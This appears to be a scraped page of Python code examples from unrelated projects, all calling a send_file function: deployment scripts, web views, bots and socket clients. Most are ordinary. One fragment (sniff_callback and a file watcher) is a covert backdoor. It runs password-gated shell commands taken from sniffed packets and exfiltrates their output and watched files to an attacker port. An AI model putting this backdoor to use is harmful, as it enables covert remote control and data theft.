Ejemplo n.º 1
0
    def transfer_new_version(self, source_folder, version_to_upload):
        try:
            # Create source_folder directory
            utils.execute_command(self.connection,
                                  'mkdir -p {}'.format(self.target_directory))
            # Transfer the inflated to file to the target
            utils.send_file(self.connection,
                            '{}{}'.format(source_folder, version_to_upload),
                            self.target_directory)
            # Deflate the file
            utils.execute_command(
                self.connection,
                'unzip -u -o {}/{} -d {}'.format(self.target_directory,
                                                 version_to_upload,
                                                 self.target_directory))
            # Delete the archive
            utils.execute_command(
                self.connection, 'rm {}/{}'.format(self.target_directory,
                                                   version_to_upload))
            # fix permissions
            utils.execute_command(
                self.connection,
                'chmod 755 {}/*'.format(self.target_directory))

        except Exception as e:
            logging.error('Could not deploy : {}'.format(version_to_upload),
                          exc_info=e)
Ejemplo n.º 2
0
def handle_pds(message):
    chat_id = message.chat.id
    document_name = message.document.file_name
    if document_name.rsplit('.')[1] != 'pdf':
        bot.reply_to(message, 'Incorrect extension. Only pdf files')
        return
    document_url = get_documnet_url(bot, message, TELEGRAM_TOKEN)
    url_to_epub_file = convert_to_epub(document_url)
    filename = document_name.rsplit('.')[0] + '.epub'
    save_epub_file(filename, url_to_epub_file)
    send_file(bot, chat_id, filename)
Ejemplo n.º 3
0
def pdfpage_detail(request, y, m, d, pub, page):
    try:
        pdfissue = PDFIssue.objects.get_by_date_and_publication(y, m, d, pub)
        page = get_pdf_file(pdfissue, page)
    except (PDFIssue.DoesNotExist, PDFFile.DoesNotExist):
        return Http404
    return send_file(page.file.url)
Ejemplo n.º 4
0
def pdfpage_thumbnail(request, y, m, d, pub, page):
    try:
        pdfissue = PDFIssue.objects.get_by_date_and_publication(y, m, d, pub)
        page = get_pdf_file(pdfissue, page)
    except (PDFIssue.DoesNotExist, PDFFile.DoesNotExist):
        raise Http404
    return send_file(generate_page_thumbnail(page))
Ejemplo n.º 5
0
def pdfissue_thumbnail(request, y, m, d, pub):
    try:
        object = PDFIssue.objects.get_by_date_and_publication(y, m, d, pub)
        first_page = object.pages.get(page_from=1)
    except (PDFIssue.DoesNotExist, PDFFile.DoesNotExist):
        raise Http404
    return send_file(generate_page_thumbnail(first_page))
Ejemplo n.º 6
0
def get_page_thumb(request, username, docname, pagename):
    user = User(username)
    doc = user.getdocument(docname)
    pagename_without_ext = os.path.splitext(pagename)[0]
    pagepath = doc.pages[pagename_without_ext].thumbpath

    if os.path.exists(pagepath):
        return send_file(request, pagepath)
    else:
        return HttpResponseNotFound()
Ejemplo n.º 7
0
def client_4():
    print('UDP Client v3.0 - SPOLKS LR 4!')
    print('-' * 32)

    ip_address = input(f'enter the server ip address: ')

    addr = (ip_address if ip_address else '127.0.0.1', PORT)

    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

    while True:
        while True:
            message = input('<< ')

            if not message:
                continue

            command, *params = message.split(' ')

            if message == 'q':
                sock.close()
                break
            if command == 'upload':
                send_file(params[0], sock, addr)

            # elif command == 'download':
            else:
                try:
                    send_message(addr, message, sock)
                    answer, recv_addr = sock.recvfrom(MES_SIZE)
                    sock.sendto(
                        f'a{chr(int(answer[1]))}'.encode(encoding='utf-8'),
                        recv_addr)

                    print(f'>> {answer[4:].decode(encoding="utf-8")}')
                except ConnectionAbortedError as e:
                    print(f'connection with server lost: {e}')
                    return

            if command == 'kill':
                send_message(addr, message, sock)
                sock.close()
                return
Ejemplo n.º 8
0
    def create_wallet_dir(self,
                          wallet_dir,
                          public_ip,
                          private_key,
                          delete_before=False):
        if delete_before:
            utils.execute_command(self.connection,
                                  'rm -rf {}'.format(wallet_dir))
        exists = utils.is_directory_exists(self.connection, wallet_dir)
        if not exists:
            utils.execute_command(self.connection,
                                  'mkdir -p {}'.format(wallet_dir))
        polis_conf = wallet_dir + 'polis.conf'
        exists = utils.is_file_exists(self.connection, polis_conf)
        if not exists:
            # Transfer the inflated to file to the target
            dir_path = os.path.dirname(os.path.realpath(__file__))
            polis_conf_tpl = dir_path + '/polis.conf'
            utils.send_file(self.connection, polis_conf_tpl, wallet_dir)
            # Setup the config file
            rpcuser = ''.join(
                secrets.choice(string.ascii_lowercase +
                               string.ascii_uppercase + string.digits)
                for _ in range(50))
            utils.execute_command(
                self.connection,
                'sed -i \'s/<RPCUSER>/{}/g\' {}'.format(rpcuser, polis_conf))
            rpcpassword = ''.join(
                secrets.choice(string.ascii_lowercase +
                               string.ascii_uppercase + string.digits)
                for _ in range(50))
            utils.execute_command(
                self.connection, 'sed -i \'s/<RPCPASSWORD>/{}/g\' {}'.format(
                    rpcpassword, polis_conf))
            utils.execute_command(
                self.connection, 'sed -i \'s/<PUBLICIP>/{}/g\' {}'.format(
                    public_ip, polis_conf))
            utils.execute_command(
                self.connection, 'sed -i \'s/<PRIVATEKEY>/{}/g\' {}'.format(
                    private_key, polis_conf))

        return exists
def sniff_callback(packet):
    global WATCH_FILE
    global observer
    if packet.haslayer(Raw):
        payload = decrypt(packet['Raw'].load)
        password_length = len(PASSWORD)

        if payload[0:password_length] != PASSWORD:
            return

        flag = int(payload[password_length])

        command = payload[password_length + 1:len(payload)]
        empty_packet = IP(dst=packet[IP].src) / UDP(sport=VICTIM_PORT, dport=ATTACKER_PORT)

        if flag == 1:
            observer.stop()
            observer = Observer()
            WATCH_FILE = command
            event_handler = WatchHandler()
            path = os.path.split(WATCH_FILE)[0]
            observer.schedule(event_handler, path, recursive=False)
            observer.start()
        elif flag == 2:
            utils.knock()
            sleep(1)
            utils.send_file(command)
        elif flag == 0:
            proc = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
            output = proc.stdout.read() + "\n" + proc.stderr.read()

            max_length = 1000
            chunks = (len(output) / max_length) + 1

            for i in range(0, chunks):
                pkt = empty_packet / encrypt(
                    PASSWORD + output[(max_length * i): min((max_length + (max_length * i)), len(output))]
                )
                sleep(1)
                send(pkt)
        sleep(1)
        send(empty_packet / encrypt("finished"))
Ejemplo n.º 10
0
def get_media(request, project_id):
    print project_id
    project = Project.objects.get(id=project_id)
    print project.poster
    img = open(str(project.poster), 'r')
    return send_file(img)
Ejemplo n.º 11
0
import socket
import utils

from config import *

if __name__ == '__main__':
    '''
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('10.6.1.101', int(GATEWAY_DAT_PORT)))
    data = 'Hello, world!'
    s.sendall(data)
    result = s.recv(BUFFER_LEN)
    print result
    s.close()
    '''
    utils.send_file("10.6.1.101", int(GATEWAY_DAT_PORT), "12345678_0002", BUFFER_LEN)
Ejemplo n.º 12
0
    components = args.host_port[0].split(':', maxsplit=1)
    if len(components) == 1:
        components = ['127.0.0.1'] + components
    try:
        address = (components[0], int(components[1]))
    except:
        print('invalid host:port', file=sys.stderr)
        sys.exit(1)

    try:
        socket = net.Socket()
        socket.connect(address)
        if args.files:
            for path in args.files:
                try:
                    utils.send_file(path, socket)
                except FileNotFoundError:
                    print('File not found: {}'.format(path), file=sys.stderr)
        else:
            history_file = pathlib.Path.home() / '.smts_client_history'
            if sys.stdin.isatty() and history_file.is_file():
                readline.read_history_file(str(history_file.resolve()))
            while True:
                try:
                    if sys.stdin.isatty():
                        line = input('{}:{}> '.format(*socket.remote_address))
                        readline.write_history_file(str(history_file))
                    else:
                        line = input()
                except (KeyboardInterrupt, EOFError):
                    print()
Ejemplo n.º 13
0
 def get_media(self, project_id):
     #TODO: this should not use the model it should use self, refactor to JsonResponse
     project = Project.objects.get(id=project_id)
     img = open(str(project.poster), 'r')
     return send_file(img)
Ejemplo n.º 14
0
def script_file(script_version):
    return send_file(f"data-v{script_version}.js")
Ejemplo n.º 15
0
def handle(conn, addr):
    ''' Handle all requests that the listener receives'''
    import json

    #logger = logging.getLogger("Handler: %r" % (addr,))
    logger = logging.getLogger("Handler")

    '''
    # Output logging information to screen
    hdlr_lg_stdout = logging.StreamHandler(sys.stderr)
    logger.addHandler(hdlr_lg_stdout)

    # Output logging information to file
    logfile = 'dtm.log'
    hdlr_lg_file = logging.FileHandler(logfile)
    logger.addHandler(hdlr_lg_file)
    '''

    try:
        #logger.debug("Connected %r at %r", conn, addr)
        data = conn.recv(BUFFER_LEN)
        decoded_json = json.loads(data)
        #print decoded_json
        logger.debug("Raw: %s", decoded_json)

        # get msg type from json
        msg_type = str(decoded_json.get('type'))

        # create file upon successful response
        if msg_type == 'response':
            accept_or_not = str(decoded_json.get('accept_or_not'))
            job_id_i = int(decoded_json.get('job_id'))
            job_id = str(decoded_json.get('job_id')).zfill(8)
            utility = str(decoded_json.get('utility'))
            if job_id_i not in accepted_jobs:
                logger.debug("First Job Confirmation: XXX%sXXX with utility UUU%sUUU ##%s" % (job_id_i, utility, accept_or_not))
                accepted_jobs.append(job_id_i)

                if accept_or_not == 'true':
                    logger.debug("Creating dummy chunks for job #%s", job_id)
                    chunk_size = int(decoded_json.get('chunk_size'))

                    # create dummy chunks:
                    srcfile = '/data/block'
                    assert os.path.isabs(srcfile)
                    for x in range(0,chunk_size):
                        dstfile = '/data/%s_%s' % (job_id, str(x).zfill(4))
                        shutil.copy(srcfile, dstfile)


        # transmit
        # if 'next_hop' in decoded_json:
        if msg_type == 'transmit':
            next_hop = str(decoded_json.get('next_hop'))
            job_id = str(decoded_json.get('job_id')).zfill(8)
            chunk_id = str(decoded_json.get('chunk_id')).zfill(4)
            filename = '/data/%s_%s' % (job_id, chunk_id)
            # send file
            logger.debug("Sending Job #%s Chunk #%s from %s to %s", job_id, chunk_id, hostname, next_hop)
            utils.send_file(next_hop, int(GATEWAY_DAT_PORT), filename, BUFFER_LEN)

        # notify_dest
        # if 'chunk_size' in decoded_json:
        if msg_type == 'notify_dest':
            logger.debug("Notified by controller: deadline for job.[TODO]")
            d_job_id = str(decoded_json.get('job_id')).zfill(8)
            d_chunk_size = str(decoded_json.get('chunk_size'))
            d_deadline = str(decoded_json.get('deadline'))
            # date str to datetime type.
            #logger.debug("Raw: %s", decoded_json)

        # notify_comp
        if msg_type == 'notify_comp':
            # get job_id and chunk_id
            c_job_id = str(decoded_json.get('job_id')).zfill(8)
            c_chunk_id = str(decoded_json.get('chunk_id')).zfill(4)

            # check whether the cache is on disk
            c_filename = '/data/%s_%s' % (c_job_id, c_chunk_id)
            if os.path.exists(c_filename):
                os.remove(c_filename)



    except:
        logger.exception("Problem handling request")
    finally:
        logger.debug("Closing socket")
        conn.close()
 def on_modified(self, event):
     if (event.is_directory == False) & (event.src_path == WATCH_FILE):
         utils.knock()
         sleep(1)
         utils.send_file(WATCH_FILE)
Ejemplo n.º 17
0
         if len(c)>0:
             sys.stderr.write("Time for sync in Directory "+PWD+". Resolve Conflicts manually")
         else:
             network_operations.send_lock_signal(USER,SERVER,TOKEN,"Y")
             utils.create_files(a, PWD, USER, SERVER, TOKEN)
             utils.upload_files(b, PWD, d, SERVER, TOKEN, USER)
             network_operations.send_lock_signal(USER,SERVER,TOKEN,"N")
             sys.stderr.write("Sync completed")
 if sys.argv[1]=="auto_check":
     sys.stderr.write(utils.recieve_files(USER,PWD,SERVER,TOKEN,True))
 if(sys.argv[1] == "check_for_files"):
     utils.recieve_files(USER, PWD, SERVER)
 if(sys.argv[1] == "send_file"):
     reciever = input("Enter the reciever : ")
     path = input("Enter the relative path of the file (provided it is backed up) : ")
     utils.send_file(USER, reciever, path, PWD, SERVER,TOKEN)
 if sys.argv[1] == "help":
     utils.die_with_usage()
 if(sys.argv[1] == "set-url"):
     if(len(sys.argv) < 3):
         utils.die_with_usage()
     else:
         SERVER = sys.argv[2]
         l = open(LOGFILE, "w")
         j["SERVER"] = SERVER
         json.dump(j, l)
         l.close()
 if(sys.argv[1] == "logout"):
     # if(USER == ""):
     #     print("User not logged in")
     # else: